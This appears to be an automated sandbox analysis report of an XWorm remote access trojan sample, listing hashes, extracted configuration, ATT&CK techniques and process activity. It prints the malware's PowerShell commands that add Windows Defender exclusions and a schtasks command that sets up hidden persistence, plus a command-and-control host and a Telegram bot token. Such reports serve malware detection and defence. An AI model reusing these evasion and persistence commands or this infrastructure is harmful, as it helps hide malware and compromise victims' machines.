xworm | 3123af93014a5a5c49aa6fd2118f6805041af178c222be27e30b2fd477085c19

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11/12/2024, 15:32

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09/08/2024, 21:57

06/08/2024, 13:03

06/08/2024, 13:01

06/08/2024, 12:52

06/08/2024, 12:29

06/08/2024, 12:29

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Analysis

max time kernel
57s
max time network
59s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
06/08/2024, 12:52

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General

Target
1/3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe
Size 487KB
Sample240806-p3672stdkg
SHA256 3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a
MD5 f451292bbe0b4c16d244c251105de16a
SHA1 a527d277ccc25ad97ae64fb76767f1e2cda66ff2
SHA512 d53a9cd31a3a98eb88af0c5454007adf8c897db53b6518a9f0c019af0bdcb906bf9fbca616b5ee03d7adfa397a16af06bbfbbbf36d15b89fdf3b96fb79fd439a
SSDEEP 6144:MNDD+bHpEiGXQ4rnc+UI73whSk7MIhWI3tf5Jx/R7ZCe7w4uoVLdaPYZHuW31bZ+:MNncp0jUI73F0DhHbbzCMwI11b
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

schools-copper.gl.at.ply.gg:14154

Attributes

Install_directory
%Userprofile%
install_file
svchost.exe
telegram
https://api.telegram.org/bot6887301557:AAE2e7AcjyzPeaHQb_2XBthrT3TTCKt7jCs/sendMessage?chat_id=7045481276

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral10/memory/4272-1-0x0000000000270000-0x00000000002EE000-memory.dmp	family_xworm
behavioral10/files/0x000800000002aa05-56.dat	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4220	powershell.exe
1688	powershell.exe
4680	powershell.exe
2836	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe

Executes dropped EXE 1 IoCs

pid	Process
2820	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1287768749-810021449-2672985988-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\svchost.exe"	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
780	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4680	powershell.exe
4680	powershell.exe
2836	powershell.exe
2836	powershell.exe
4220	powershell.exe
4220	powershell.exe
1688	powershell.exe
1688	powershell.exe
4272	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	4272	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe
Token: SeDebugPrivilege	4680	powershell.exe
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeDebugPrivilege	4220	powershell.exe
Token: SeDebugPrivilege	1688	powershell.exe
Token: SeDebugPrivilege	4272	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe
Token: SeDebugPrivilege	2820	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4272	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4272 wrote to memory of 4680	4272	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	79
PID 4272 wrote to memory of 4680	4272	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	79
PID 4272 wrote to memory of 2836	4272	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	81
PID 4272 wrote to memory of 2836	4272	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	81
PID 4272 wrote to memory of 4220	4272	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	83
PID 4272 wrote to memory of 4220	4272	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	83
PID 4272 wrote to memory of 1688	4272	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	85
PID 4272 wrote to memory of 1688	4272	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	85
PID 4272 wrote to memory of 780	4272	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	87
PID 4272 wrote to memory of 780	4272	3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe	87

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\1\3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe
"C:\Users\Admin\AppData\Local\Temp\1\3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1\3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\svchost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1688
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\svchost.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:780

C:\Users\Admin\svchost.exe
C:\Users\Admin\svchost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888
MD5 1a9fa92a4f2e2ec9e244d43a6a4f8fb9
SHA1 9910190edfaccece1dfcc1d92e357772f5dae8f7
SHA512 5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 41a5aef8b0bbeea2766f40a7bba2c78322379f167c610f7055ccb69e7db030fe
MD5 781da0576417bf414dc558e5a315e2be
SHA1 215451c1e370be595f1c389f587efeaa93108b4c
SHA512 24e283aa30a2903ebe154dad49b26067a45e46fec57549ad080d3b9ec3f272044efaaed3822d067837f5521262192f466c47195ffe7f75f8c7c5dcf3159ea737
MD5 SHA1 SHA512

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__PSScriptPolicyTest_f4tmrs0a.ucf.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f4tmrs0a.ucf.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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svchost.exe

Path C:\Users\Admin\svchost.exe
Size 487KB
SHA256 3a72ecec34a29f53a1d73677a0e6f4c2e19087a32f1808f8f4ff643f62128d8a
MD5 f451292bbe0b4c16d244c251105de16a
SHA1 a527d277ccc25ad97ae64fb76767f1e2cda66ff2
SHA512 d53a9cd31a3a98eb88af0c5454007adf8c897db53b6518a9f0c019af0bdcb906bf9fbca616b5ee03d7adfa397a16af06bbfbbbf36d15b89fdf3b96fb79fd439a
SSDEEP 6144:MNDD+bHpEiGXQ4rnc+UI73whSk7MIhWI3tf5Jx/R7ZCe7w4uoVLdaPYZHuW31bZ+:MNncp0jUI73F0DhHbbzCMwI11b
MD5 SHA1 SHA512 SSDEEP

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memory/4272-1-0x0000000000270000-0x00000000002EE000-memory.dmp

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memory/4272-2-0x00007FFD51AF0000-0x00007FFD525B2000-memory.dmp

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memory/4272-59-0x00007FFD51AF0000-0x00007FFD525B2000-memory.dmp

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memory/4272-0-0x00007FFD51AF3000-0x00007FFD51AF5000-memory.dmp

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memory/4272-55-0x00007FFD51AF3000-0x00007FFD51AF5000-memory.dmp

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memory/4680-9-0x0000027D81D70000-0x0000027D81D92000-memory.dmp

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memory/4680-19-0x00007FFD51AF0000-0x00007FFD525B2000-memory.dmp

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memory/4680-18-0x00007FFD51AF0000-0x00007FFD525B2000-memory.dmp

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memory/4680-15-0x00007FFD51AF0000-0x00007FFD525B2000-memory.dmp

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memory/4680-14-0x00007FFD51AF0000-0x00007FFD525B2000-memory.dmp

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memory/4680-13-0x00007FFD51AF0000-0x00007FFD525B2000-memory.dmp

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memory/4680-3-0x00007FFD51AF0000-0x00007FFD525B2000-memory.dmp

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